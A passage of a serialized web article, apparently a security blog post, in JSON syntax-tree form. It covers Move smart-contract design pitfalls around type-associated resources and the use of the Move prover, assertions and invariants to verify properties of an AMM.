borrow_global_mut",{"type":24,"tag":158,"props":9240,"children":9241},{"style":188},[9242],{"type":29,"value":3760},{"type":24,"tag":158,"props":9244,"children":9245},{"style":171},[9246],{"type":29,"value":9247},"Oracle",{"type":24,"tag":158,"props":9249,"children":9250},{"style":188},[9251],{"type":29,"value":3817},{"type":24,"tag":158,"props":9253,"children":9254},{"style":222},[9255],{"type":29,"value":9256},"@",{"type":24,"tag":158,"props":9258,"children":9259},{"style":177},[9260],{"type":29,"value":9261},"oracle",{"type":24,"tag":158,"props":9263,"children":9264},{"style":188},[9265],{"type":29,"value":1071},{"type":24,"tag":158,"props":9267,"children":9268},{"class":160,"line":259},[9269,9273,9278,9282,9287,9291,9296,9300,9305,9309,9314],{"type":24,"tag":158,"props":9270,"children":9271},{"style":165},[9272],{"type":29,"value":4732},{"type":24,"tag":158,"props":9274,"children":9275},{"style":177},[9276],{"type":29,"value":9277}," price",{"type":24,"tag":158,"props":9279,"children":9280},{"style":222},[9281],{"type":29,"value":462},{"type":24,"tag":158,"props":9283,"children":9284},{"style":188},[9285],{"type":29,"value":9286}," table",{"type":24,"tag":158,"props":9288,"children":9289},{"style":222},[9290],{"type":29,"value":2146},{"type":24,"tag":158,"props":9292,"children":9293},{"style":177},[9294],{"type":29,"value":9295},"borrow_mut_with_default",{"type":24,"tag":158,"props":9297,"children":9298},{"style":188},[9299],{"type":29,"value":3760},{"type":24,"tag":158,"props":9301,"children":9302},{"style":171},[9303],{"type":29,"value":9304},"TypeInfo",{"type":24,"tag":158,"props":9306,"children":9307},{"style":188},[9308],{"type":29,"value":191},{"type":24,"tag":158,"props":9310,"children":9311},{"style":171},[9312],{"type":29,"value":9313},"Decimal",{"type":24,"tag":158,"props":9315,"children":9316},{"style":188},[9317],{"type":29,"value":8236},{"type":24,"tag":158,"props":9319,"children":9320},{"class":160,"line":280},[9321,9326,9330,9334,9338],{"type":24,"tag":158,"props":9322,"children":9323},{"style":222},[9324],{"type":29,"value":9325}," &",{"type":24,"tag":158,"props":9327,"children":9328},{"style":165},[9329],{"type":29,"value":2169},{"type":24,"tag":158,"props":9331,"children":9332},{"style":177},[9333],{"type":29,"value":9229},{"type":24,"tag":158,"props":9335,"children":9336},{"style":222},[9337],{"type":29,"value":347},{"type":24,"tag":158,"props":9339,"children":9340},{"style":188},[9341],{"type":29,"value":9342},"prices,\n",{"type":24,"tag":158,"props":9344,"children":9345},{"class":160,"line":301},[9346,9351],{"type":24,"tag":158,"props":9347,"children":9348},{"style":177},[9349],{"type":29,"value":9350}," type_info",{"type":24,"tag":158,"props":9352,"children":9353},{"style":188},[9354],{"type":29,"value":235},{"type":24,"tag":158,"props":9356,"children":9357},{"class":160,"line":626},[9358,9363,9367,9372],{"type":24,"tag":158,"props":9359,"children":9360},{"style":188},[9361],{"type":29,"value":9362}," decimal",{"type":24,"tag":158,"props":9364,"children":9365},{"style":222},[9366],{"type":29,"value":2146},{"type":24,"tag":158,"props":9368,"children":9369},{"style":496},[9370],{"type":29,"value":9371},"one",{"type":24,"tag":158,"props":9373,"children":9374},{"style":188},[9375],{"type":29,"value":9376},"()\n",{"type":24,"tag":158,"props":9378,"children":9379},{"class":160,"line":668},[9380],{"type":24,"tag":158,"props":9381,"children":9382},{"style":188},[9383],{"type":29,"value":9384}," );\n",{"type":24,"tag":158,"props":9386,"children":9387},{"class":160,"line":676},[9388,9393],{"type":24,"tag":158,"props":9389,"children":9390},{"style":222},[9391],{"type":29,"value":9392}," *",{"type":24,"tag":158,"props":9394,"children":9395},{"style":177},[9396],{"type":29,"value":9397},"price\n",{"type":24,"tag":158,"props":9399,"children":9400},{"class":160,"line":684},[9401],{"type":24,"tag":158,"props":9402,"children":9403},{"style":188},[9404],{"type":29,"value":3967},{"type":24,"tag":25,"props":9406,"children":9407},{},[9408,9410,9415],{"type":29,"value":9409},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":24,"tag":32,"props":9411,"children":9412},{},[9413],{"type":29,"value":9414},"instance",{"type":29,"value":9416}," of another resource (which is possible in Diem style move).",{"type":24,"tag":25,"props":9418,"children":9419},{},[9420],{"type":29,"value":9421},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":24,"tag":1786,"props":9423,"children":9424},{},[9425,9430],{"type":24,"tag":1790,"props":9426,"children":9427},{},[9428],{"type":29,"value":9429},"Have unique initializers for your resources",{"type":24,"tag":1790,"props":9431,"children":9432},{},[9433],{"type":29,"value":9434},"Associate resources with instances directly",{"type":24,"tag":59,"props":9436,"children":9438},{"id":9437},"formal-verification",[9439],{"type":29,"value":9440},"Formal Verification",{"type":24,"tag":25,"props":9442,"children":9443},{},[9444],{"type":29,"value":9445},"Formal verification is another exciting feature.",{"type":24,"tag":25,"props":9447,"children":9448},{},[9449],{"type":29,"value":9450},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":24,"tag":25,"props":9452,"children":9453},{},[9454,9456,9461],{"type":29,"value":9455},"However, this isn't a silver bullet. The key is figuring out ",{"type":24,"tag":32,"props":9457,"children":9458},{},[9459],{"type":29,"value":9460},"what",{"type":29,"value":9462}," to prove.",{"type":24,"tag":25,"props":9464,"children":9465},{},[9466,9468,9475],{"type":29,"value":9467},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":24,"tag":101,"props":9469,"children":9472},{"href":9470,"rel":9471},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[105],[9473],{"type":29,"value":9474},"Solana AMM rounding issue",{"type":29,"value":9476}," we reported.",{"type":24,"tag":25,"props":9478,"children":9479},{},[9480],{"type":29,"value":9481},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":24,"tag":147,"props":9483,"children":9485},{"className":151,"code":9484,"language":150,"meta":7,"style":7}," let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[9486],{"type":24,"tag":154,"props":9487,"children":9488},{"__ignoreMap":7},[9489,9549],{"type":24,"tag":158,"props":9490,"children":9491},{"class":160,"line":161},[9492,9497,9501,9505,9510,9514,9519,9523,9527,9532,9536,9540,9545],{"type":24,"tag":158,"props":9493,"children":9494},{"style":165},[9495],{"type":29,"value":9496}," let",{"type":24,"tag":158,"props":9498,"children":9499},{"style":177},[9500],{"type":29,"value":3113},{"type":24,"tag":158,"props":9502,"children":9503},{"style":222},[9504],{"type":29,"value":462},{"type":24,"tag":158,"props":9506,"children":9507},{"style":188},[9508],{"type":29,"value":9509}," u256",{"type":24,"tag":158,"props":9511,"children":9512},{"style":222},[9513],{"type":29,"value":2146},{"type":24,"tag":158,"props":9515,"children":9516},{"style":496},[9517],{"type":29,"value":9518},"compare",{"type":24,"tag":158,"props":9520,"children":9521},{"style":188},[9522],{"type":29,"value":504},{"type":24,"tag":158,"props":9524,"children":9525},{"style":222},[9526],{"type":29,"value":2212},{"type":24,"tag":158,"props":9528,"children":9529},{"style":177},[9530],{"type":29,"value":9531},"lp_value_after_swap_and_fee",{"type":24,"tag":158,"props":9533,"children":9534},{"style":188},[9535],{"type":29,"value":191},{"type":24,"tag":158,"props":9537,"children":9538},{"style":222},[9539],{"type":29,"value":2212},{"type":24,"tag":158,"props":9541,"children":9542},{"style":177},[9543],{"type":29,"value":9544},"lp_value_before_swap_u256",{"type":24,"tag":158,"props":9546,"children":9547},{"style":188},[9548],{"type":29,"value":1071},{"type":24,"tag":158,"props":9550,"children":9551},{"class":160,"line":213},[9552,9557,9561,9565,9569,9574],{"type":24,"tag":158,"props":9553,"children":9554},{"style":496},[9555],{"type":29,"value":9556}," assert!",{"type":24,"tag":158,"props":9558,"children":9559},{"style":188},[9560],{"type":29,"value":504},{"type":24,"tag":158,"props":9562,"children":9563},{"style":177},[9564],{"type":29,"value":3170},{"type":24,"tag":158,"props":9566,"children":9567},{"style":222},[9568],{"type":29,"value":3175},{"type":24,"tag":158,"props":9570,"children":9571},{"style":465},[9572],{"type":29,"value":9573}," 2",{"type":24,"tag":158,"props":9575,"children":9576},{"style":188},[9577],{"type":29,"value":9578},", ERR_INCORRECT_SWAP);\n",{"type":24,"tag":25,"props":9580,"children":9581},{},[9582,9584,9589],{"type":29,"value":9583},"The move prover really shines when we're proving relationships ",{"type":24,"tag":32,"props":9585,"children":9586},{},[9587],{"type":29,"value":9588},"between",{"type":29,"value":9590}," functions.",{"type":24,"tag":25,"props":9592,"children":9593},{},[9594,9596,9602],{"type":29,"value":9595},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":24,"tag":154,"props":9597,"children":9599},{"className":9598},[],[9600],{"type":29,"value":9601},"no_free_money_theorem",{"type":29,"value":9603}," in the move repository.",{"type":24,"tag":147,"props":9605,"children":9606},{"className":151,"code":4193,"language":150,"meta":7,"style":7},[9607],{"type":24,"tag":154,"props":9608,"children":9609},{"__ignoreMap":7},[9610,9617,9700,9739,9758,9765,9780,9803,9826,9849],{"type":24,"tag":158,"props":9611,"children":9612},{"class":160,"line":161},[9613],{"type":24,"tag":158,"props":9614,"children":9615},{"style":2588},[9616],{"type":29,"value":4205},{"type":24,"tag":158,"props":9618,"children":9619},{"class":160,"line":213},[9620,9624,9628,9632,9636,9640,9644,9648,9652,9656,9660,9664,9668,9672,9676,9680,9684,9688,9692,9696],{"type":24,"tag":158,"props":9621,"children":9622},{"style":177},[9623],{"type":29,"value":4213},{"type":24,"tag":158,"props":9625,"children":9626},{"style":496},[9627],{"type":29,"value":4218},{"type":24,"tag":158,"props":9629,"children":9630},{"style":188},[9631],{"type":29,"value":504},{"type":24,"tag":158,"props":9633,"children":9634},{"style":177},[9635],{"type":29,"value":4227},{"type":24,"tag":158,"props":9637,"children":9638},{"style":222},[9639],{"type":29,"value":225},{"type":24,"tag":158,"props":9641,"children":9642},{"style":171},[9643],{"type":29,"value":230},{"type":24,"tag":158,"props":9645,"children":9646},{"style":188},[9647],{"type":29,"value":191},{"type":24,"tag":158,"props":9649,"children":9650},{"style":177},[9651],{"type":29,"value":4244},{"type":24,"tag":158,"props":9653,"children":9654},{"style":222},[9655],{"type":29,"value":225},{"type":24,"tag":158,"props":9657,"children":9658},{"style":171},[9659],{"type":29,"value":230},{"type":24,"tag":158,"props":9661,"children":9662},{"style":188},[9663],{"type":29,"value":521},{"type":24,"tag":158,"props":9665,"children":9666},{"style":222},[9667],{"type":29,"value":225},{"type":24,"tag":158,"props":9669,"children":9670},{"style":188},[9671],{"type":29,"value":2262},{"type":24,"tag":158,"props":9673,"children":9674},{"style":171},[9675],{"type":29,"value":4269},{"type":24,"tag":158,"props":9677,"children":9678},{"style":188},[9679],{"type":29,"value":191},{"type":24,"tag":158,"props":9681,"children":9682},{"style":171},[9683],{"type":29,"value":4269},{"type":24,"tag":158,"props":9685,"children":9686},{"style":188},[9687],{"type":29,"value":723},{"type":24,"tag":158,"props":9689,"children":9690},{"style":177},[9691],{"type":29,"value":4286},{"type":24,"tag":158,"props":9693,"children":9694},{"style":171},[9695],{"type":29,"value":4291},{"type":24,"tag":158,"props":9697,"children":9698},{"style":188},[9699],{"type":29,"value":210},{"type":24,"tag":158,"props":9701,"children":9702},{"class":160,"line":238},[9703,9707,9711,9715,9719,9723,9727,9731,9735],{"type":24,"tag":158,"props":9704,"children":9705},{"style":165},[9706],{"type":29,"value":4303},{"type":24,"tag":158,"props":9708,"children":9709},{"style":177},[9710],{"type":29,"value":4308},{"type":24,"tag":158,"props":9712,"children":9713},{"style":222},[9714],{"type":29,"value":462},{"type":24,"tag":158,"props":9716,"children":9717},{"style":496},[9718],{"type":29,"value":4317},{"type":24,"tag":158,"props":9720,"children":9721},{"style":188},[9722],{"type":29,"value":504},{"type":24,"tag":158,"props":9724,"children":9725},{"style":177},[9726],{"type":29,"value":4227},{"type":24,"tag":158,"props":9728,"children":9729},{"style":188},[9730],{"type":29,"value":191},{"type":24,"tag":158,"props":9732,"children":9733},{"style":177},[9734],{"type":29,"value":4244},{"type":24,"tag":158,"props":9736,"children":9737},{"style":188},[9738],{"type":29,"value":1071},{"type":24,"tag":158,"props":9740,"children":9741},{"class":160,"line":259},[9742,9746,9750,9754],{"type":24,"tag":158,"props":9743,"children":9744},{"style":496},[9745],{"type":29,"value":4345},{"type":24,"tag":158,"props":9747,"children":9748},{"style":188},[9749],{"type":29,"value":504},{"type":24,"tag":158,"props":9751,"children":9752},{"style":177},[9753],{"type":29,"value":4354},{"type":24,"tag":158,"props":9755,"children":9756},{"style":188},[9757],{"type":29,"value":2125},{"type":24,"tag":158,"props":9759,"children":9760},{"class":160,"line":280},[9761],{"type":24,"tag":158,"props":9762,"children":9763},{"style":188},[9764],{"type":29,"value":4366},{"type":24,"tag":158,"props":9766,"children":9767},{"class":160,"line":301},[9768,9772,9776],{"type":24,"tag":158,"props":9769,"children":9770},{"style":177},[9771],{"type":29,"value":4374},{"type":24,"tag":158,"props":9773,"children":9774},{"style":177},[9775],{"type":29,"value":4218},{"type":24,"tag":158,"props":9777,"children":9778},{"style":188},[9779],{"type":29,"value":210},{"type":24,"tag":158,"props":9781,"children":9782},{"class":160,"line":626},[9783,9787,9791,9795,9799],{"type":24,"tag":158,"props":9784,"children":9785},{"style":177},[9786],{"type":29,"value":4390},{"type":24,"tag":158,"props":9788,"children":9789},{"style":177},[9790],{"type":29,"value":4395},{"type":24,"tag":158,"props":9792,"children":9793},{"style":222},[9794],{"type":29,"value":1285},{"type":24,"tag":158,"props":9796,"children":9797},{"style":165},[9798],{"type":29,"value":4404},{"type":24,"tag":158,"props":9800,"children":9801},{"style":188},[9802],{"type":29,"value":473},{"type":24,"tag":158,"props":9804,"children":9805},{"class":160,"line":668},[9806,9810,9814,9818,9822],{"type":24,"tag":158,"props":9807,"children":9808},{"style":177},[9809],{"type":29,"value":3857},{"type":24,"tag":158,"props":9811,"children":9812},{"style":177},[9813],{"type":29,"value":2944},{"type":24,"tag":158,"props":9815,"children":9816},{"style":222},[9817],{"type":29,"value":1989},{"type":24,"tag":158,"props":9819,"children":9820},{"style":177},[9821],{"type":29,"value":4428},{"type":24,"tag":158,"props":9823,"children":9824},{"style":188},[9825],{"type":29,"value":473},{"type":24,"tag":158,"props":9827,"children":9828},{"class":160,"line":676},[9829,9833,9837,9841,9845],{"type":24,"tag":158,"props":9830,"children":9831},{"style":177},[9832],{"type":29,"value":3857},{"type":24,"tag":158,"props":9834,"children":9835},{"style":177},[9836],{"type":29,"value":3025},{"type":24,"tag":158,"props":9838,"children":9839},{"style":222},[9840],{"type":29,"value":1989},{"type":24,"tag":158,"props":9842,"children":9843},{"style":177},[9844],{"type":29,"value":4452},{"type":24,"tag":158,"props":9846,"children":9847},{"style":188},[9848],{"type":29,"value":473},{"type":24,"tag":158,"props":9850,"children":9851},{"class":160,"line":684},[9852],{"type":24,"tag":158,"props":9853,"children":9854},{"style":188},[9855],{"type":29,"value":4366},{"type":24,"tag":25,"props":9857,"children":9858},{},[9859],{"type":29,"value":9860},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":24,"tag":25,"props":9862,"children":9863},{},[9864,9866,9871],{"type":29,"value":9865},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":24,"tag":32,"props":9867,"children":9868},{},[9869],{"type":29,"value":9870},"lot",{"type":29,"value":9872}," easier to reason about the protocol.",{"type":24,"tag":25,"props":9874,"children":9875},{},[9876],{"type":29,"value":9877},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":24,"tag":147,"props":9879,"children":9881},{"className":151,"code":9880,"language":150,"meta":7,"style":7},"spec PoolState {\n invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[9882],{"type":24,"tag":154,"props":9883,"children":9884},{"__ignoreMap":7},[9885,9901,9923],{"type":24,"tag":158,"props":9886,"children":9887},{"class":160,"line":161},[9888,9892,9897],{"type":24,"tag":158,"props":9889,"children":9890},{"style":177},[9891],{"type":29,"value":362},{"type":24,"tag":158,"props":9893,"children":9894},{"style":171},[9895],{"type":29,"value":9896}," PoolState",{"type":24,"tag":158,"props":9898,"children":9899},{"style":188},[9900],{"type":29,"value":210},{"type":24,"tag":158,"props":9902,"children":9903},{"class":160,"line":213},[9904,9908,9913,9918],{"type":24,"tag":158,"props":9905,"children":9906},{"style":177},[9907],{"type":29,"value":4128},{"type":24,"tag":158,"props":9909,"children":9910},{"style":177},[9911],{"type":29,"value":9912}," supply",{"type":24,"tag":158,"props":9914,"children":9915},{"style":222},[9916],{"type":29,"value":9917}," >=",{"type":24,"tag":158,"props":9919,"children":9920},{"style":188},[9921],{"type":29,"value":9922}," MINIMUM_LIQUIDITY;\n",{"type":24,"tag":158,"props":9924,"children":9925},{"class":160,"line":238},[9926],{"type":24,"tag":158,"props":9927,"children":9928},{"style":188},[9929],{"type":29,"value":307},{"type":24,"tag":25,"props":9931,"children":9932},{},[9933,9935,9940,9942,9947],{"type":29,"value":9934},"Another useful pattern for the Move prover is ",{"type":24,"tag":154,"props":9936,"children":9938},{"className":9937},[],[9939],{"type":29,"value":413},{"type":29,"value":9941},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":24,"tag":154,"props":9943,"children":9945},{"className":9944},[],[9946],{"type":29,"value":822},{"type":29,"value":347},{"type":24,"tag":25,"props":9949,"children":9950},{},[9951],{"type":29,"value":9952},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":24,"tag":147,"props":9954,"children":9956},{"className":151,"code":9955,"language":150,"meta":7,"style":7}," fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n let amounts_times_coins = vector::empty\u003Cu128>();\n let i = 0;\n let n_coins = vector::length(&input);\n while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n spec {\n assert i == n_coins;\n assert len(input) == n_coins;\n };\n amounts_times_coins\n }\n spec multiply_vec_by_n_coins {\n pragma opaque;\n aborts_if false;\n ensures len(result) == len(input);\n ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n }\n",[9957],{"type":24,"tag":154,"props":9958,"children":9959},{"__ignoreMap":7},[9960,10023,10064,10087,10131,10143,10155,10191,10214,10297,10305,10328,10336,10356,10376,10468,10476,10504,10511,10522,10546,10581,10588,10596,10603,10618,10634,10650,10694,10799],{"type":24,"tag":158,"props":9961,"children":9962},{"class":160,"line":161},[9963,9967,9972,9976,9980,9984,9989,9993,9997,10002,10006,10010,10014,10019],{"type":24,"tag":158,"props":9964,"children":9965},{"style":177},[9966],{"type":29,"value":4213},{"type":24,"tag":158,"props":9968,"children":9969},{"style":496},[9970],{"type":29,"value":9971}," multiply_vec_by_n_coins",{"type":24,"tag":158,"props":9973,"children":9974},{"style":188},[9975],{"type":29,"value":504},{"type":24,"tag":158,"props":9977,"children":9978},{"style":177},[9979],{"type":29,"value":2217},{"type":24,"tag":158,"props":9981,"children":9982},{"style":222},[9983],{"type":29,"value":225},{"type":24,"tag":158,"props":9985,"children":9986},{"style":177},[9987],{"type":29,"value":9988}," vector",{"type":24,"tag":158,"props":9990,"children":9991},{"style":188},[9992],{"type":29,"value":3760},{"type":24,"tag":158,"props":9994,"children":9995},{"style":171},[9996],{"type":29,"value":4269},{"type":24,"tag":158,"props":9998,"children":9999},{"style":188},[10000],{"type":29,"value":10001},">)",{"type":24,"tag":158,"props":10003,"children":10004},{"style":222},[10005],{"type":29,"value":225},{"type":24,"tag":158,"props":10007,"children":10008},{"style":177},[10009],{"type":29,"value":9988},{"type":24,"tag":158,"props":10011,"children":10012},{"style":188},[10013],{"type":29,"value":3760},{"type":24,"tag":158,"props":10015,"children":10016},{"style":171},[10017],{"type":29,"value":10018},"u128",{"type":24,"tag":158,"props":10020,"children":10021},{"style":188},[10022],{"type":29,"value":8922},{"type":24,"tag":158,"props":10024,"children":10025},{"class":160,"line":213},[10026,10030,10034,10038,10042,10046,10051,10055,10059],{"type":24,"tag":158,"props":10027,"children":10028},{"style":165},[10029],{"type":29,"value":4303},{"type":24,"tag":158,"props":10031,"children":10032},{"style":177},[10033],{"type":29,"value":2043},{"type":24,"tag":158,"props":10035,"children":10036},{"style":222},[10037],{"type":29,"value":462},{"type":24,"tag":158,"props":10039,"children":10040},{"style":188},[10041],{"type":29,"value":9988},{"type":24,"tag":158,"props":10043,"children":10044},{"style":222},[10045],{"type":29,"value":2146},{"type":24,"tag":158,"props":10047,"children":10048},{"style":177},[10049],{"type":29,"value":10050},"empty",{"type":24,"tag":158,"props":10052,"children":10053},{"style":188},[10054],{"type":29,"value":3760},{"type":24,"tag":158,"props":10056,"children":10057},{"style":171},[10058],{"type":29,"value":10018},{"type":24,"tag":158,"props":10060,"children":10061},{"style":188},[10062],{"type":29,"value":10063},">();\n",{"type":24,"tag":158,"props":10065,"children":10066},{"class":160,"line":238},[10067,10071,10075,10079,10083],{"type":24,"tag":158,"props":10068,"children":10069},{"style":165},[10070],{"type":29,"value":4303},{"type":24,"tag":158,"props":10072,"children":10073},{"style":177},[10074],{"type":29,"value":1969},{"type":24,"tag":158,"props":10076,"children":10077},{"style":222},[10078],{"type":29,"value":462},{"type":24,"tag":158,"props":10080,"children":10081},{"style":465},[10082],{"type":29,"value":2025},{"type":24,"tag":158,"props":10084,"children":10085},{"style":188},[10086],{"type":29,"value":473},{"type":24,"tag":158,"props":10088,"children":10089},{"class":160,"line":259},[10090,10094,10098,10102,10106,10110,10115,10119,10123,10127],{"type":24,"tag":158,"props":10091,"children":10092},{"style":165},[10093],{"type":29,"value":4303},{"type":24,"tag":158,"props":10095,"children":10096},{"style":177},[10097],{"type":29,"value":1994},{"type":24,"tag":158,"props":10099,"children":10100},{"style":222},[10101],{"type":29,"value":462},{"type":24,"tag":158,"props":10103,"children":10104},{"style":188},[10105],{"type":29,"value":9988},{"type":24,"tag":158,"props":10107,"children":10108},{"style":222},[10109],{"type":29,"value":2146},{"type":24,"tag":158,"props":10111,"children":10112},{"style":496},[10113],{"type":29,"value":10114},"length",{"type":24,"tag":158,"props":10116,"children":10117},{"style":188},[10118],{"type":29,"value":504},{"type":24,"tag":158,"props":10120,"children":10121},{"style":222},[10122],{"type":29,"value":2212},{"type":24,"tag":158,"props":10124,"children":10125},{"style":177},[10126],{"type":29,"value":2217},{"type":24,"tag":158,"props":10128,"children":10129},{"style":188},[10130],{"type":29,"value":1071},{"type":24,"tag":158,"props":10132,"children":10133},{"class":160,"line":280},[10134,10139],{"type":24,"tag":158,"props":10135,"children":10136},{"style":1914},[10137],{"type":29,"value":10138}," while",{"type":24,"tag":158,"props":10140,"children":10141},{"style":188},[10142],{"type":29,"value":1922},{"type":24,"tag":158,"props":10144,"children":10145},{"class":160,"line":301},[10146,10151],{"type":24,"tag":158,"props":10147,"children":10148},{"style":177},[10149],{"type":29,"value":10150}," spec",{"type":24,"tag":158,"props":10152,"children":10153},{"style":188},[10154],{"type":29,"value":210},{"type":24,"tag":158,"props":10156,"children":10157},{"class":160,"line":626},[10158,10163,10167,10171,10175,10179,10183,10187],{"type":24,"tag":158,"props":10159,"children":10160},{"style":177},[10161],{"type":29,"value":10162}," invariant",{"type":24,"tag":158,"props":10164,"children":10165},{"style":496},[10166],{"type":29,"value":1947},{"type":24,"tag":158,"props":10168,"children":10169},{"style":188},[10170],{"type":29,"value":504},{"type":24,"tag":158,"props":10172,"children":10173},{"style":177},[10174],{"type":29,"value":1956},{"type":24,"tag":158,"props":10176,"children":10177},{"style":188},[10178],{"type":29,"value":723},{"type":24,"tag":158,"props":10180,"children":10181},{"style":222},[10182],{"type":29,"value":1034},{"type":24,"tag":158,"props":10184,"children":10185},{"style":177},[10186],{"type":29,"value":1969},{"type":24,"tag":158,"props":10188,"children":10189},{"style":188},[10190],{"type":29,"value":473},{"type":24,"tag":158,"props":10192,"children":10193},{"class":160,"line":668},[10194,10198,10202,10206,10210],{"type":24,"tag":158,"props":10195,"children":10196},{"style":177},[10197],{"type":29,"value":10162},{"type":24,"tag":158,"props":10199,"children":10200},{"style":177},[10201],{"type":29,"value":1969},{"type":24,"tag":158,"props":10203,"children":10204},{"style":222},[10205],{"type":29,"value":1989},{"type":24,"tag":158,"props":10207,"children":10208},{"style":177},[10209],{"type":29,"value":1994},{"type":24,"tag":158,"props":10211,"children":10212},{"style":188},[10213],{"type":29,"value":473},{"type":24,"tag":158,"props":10215,"children":10216},{"class":160,"line":676},[10217,10221,10225,10229,10233,10237,10241,10245,10249,10253,10257,10261,10265,10269,10273,10277,10281,10285,10289,10293],{"type":24,"tag":158,"props":10218,"children":10219},{"style":177},[10220],{"type":29,"value":10162},{"type":24,"tag":158,"props":10222,"children":10223},{"style":177},[10224],{"type":29,"value":2010},{"type":24,"tag":158,"props":10226,"children":10227},{"style":177},[10228],{"type":29,"value":2015},{"type":24,"tag":158,"props":10230,"children":10231},{"style":165},[10232],{"type":29,"value":2020},{"type":24,"tag":158,"props":10234,"children":10235},{"style":465},[10236],{"type":29,"value":2025},{"type":24,"tag":158,"props":10238,"children":10239},{"style":222},[10240],{"type":29,"value":2030},{"type":24,"tag":158,"props":10242,"children":10243},{"style":177},[10244],{"type":29,"value":1832},{"type":24,"tag":158,"props":10246,"children":10247},{"style":222},[10248],{"type":29,"value":225},{"type":24,"tag":158,"props":10250,"children":10251},{"style":177},[10252],{"type":29,"value":2043},{"type":24,"tag":158,"props":10254,"children":10255},{"style":188},[10256],{"type":29,"value":2048},{"type":24,"tag":158,"props":10258,"children":10259},{"style":177},[10260],{"type":29,"value":2053},{"type":24,"tag":158,"props":10262,"children":10263},{"style":188},[10264],{"type":29,"value":2058},{"type":24,"tag":158,"props":10266,"children":10267},{"style":222},[10268],{"type":29,"value":1034},{"type":24,"tag":158,"props":10270,"children":10271},{"style":177},[10272],{"type":29,"value":2067},{"type":24,"tag":158,"props":10274,"children":10275},{"style":188},[10276],{"type":29,"value":2048},{"type":24,"tag":158,"props":10278,"children":10279},{"style":177},[10280],{"type":29,"value":2053},{"type":24,"tag":158,"props":10282,"children":10283},{"style":188},[10284],{"type":29,"value":2058},{"type":24,"tag":158,"props":10286,"children":10287},{"style":222},[10288],{"type":29,"value":577},{"type":24,"tag":158,"props":10290,"children":10291},{"style":177},[10292],{"type":29,"value":1994},{"type":24,"tag":158,"props":10294,"children":10295},{"style":188},[10296],{"type":29,"value":473},{"type":24,"tag":158,"props":10298,"children":10299},{"class":160,"line":684},[10300],{"type":24,"tag":158,"props":10301,"children":10302},{"style":188},[10303],{"type":29,"value":10304}," };\n",{"type":24,"tag":158,"props":10306,"children":10307},{"class":160,"line":700},[10308,10312,10316,10320,10324],{"type":24,"tag":158,"props":10309,"children":10310},{"style":188},[10311],{"type":29,"value":2185},{"type":24,"tag":158,"props":10313,"children":10314},{"style":177},[10315],{"type":29,"value":1832},{"type":24,"tag":158,"props":10317,"children":10318},{"style":222},[10319],{"type":29,"value":2116},{"type":24,"tag":158,"props":10321,"children":10322},{"style":177},[10323],{"type":29,"value":1994},{"type":24,"tag":158,"props":10325,"children":10326},{"style":188},[10327],{"type":29,"value":2125},{"type":24,"tag":158,"props":10329,"children":10330},{"class":160,"line":785},[10331],{"type":24,"tag":158,"props":10332,"children":10333},{"style":188},[10334],{"type":29,"value":10335}," }) {\n",{"type":24,"tag":158,"props":10337,"children":10338},{"class":160,"line":1447},[10339,10344,10348,10352],{"type":24,"tag":158,"props":10340,"children":10341},{"style":188},[10342],{"type":29,"value":10343}," vector",{"type":24,"tag":158,"props":10345,"children":10346},{"style":222},[10347],{"type":29,"value":2146},{"type":24,"tag":158,"props":10349,"children":10350},{"style":496},[10351],{"type":29,"value":2151},{"type":24,"tag":158,"props":10353,"children":10354},{"style":188},[10355],{"type":29,"value":2156},{"type":24,"tag":158,"props":10357,"children":10358},{"class":160,"line":1509},[10359,10364,10368,10372],{"type":24,"tag":158,"props":10360,"children":10361},{"style":222},[10362],{"type":29,"value":10363}," &",{"type":24,"tag":158,"props":10365,"children":10366},{"style":165},[10367],{"type":29,"value":2169},{"type":24,"tag":158,"props":10369,"children":10370},{"style":177},[10371],{"type":29,"value":2043},{"type":24,"tag":158,"props":10373,"children":10374},{"style":188},[10375],{"type":29,"value":235},{"type":24,"tag":158,"props":10377,"children":10378},{"class":160,"line":1527},[10379,10384,10388,10392,10396,10400,10404,10408,10412,10416,10420,10424,10428,10432,10436,10440,10444,10448,10452,10456,10460,10464],{"type":24,"tag":158,"props":10380,"children":10381},{"style":188},[10382],{"type":29,"value":10383}," 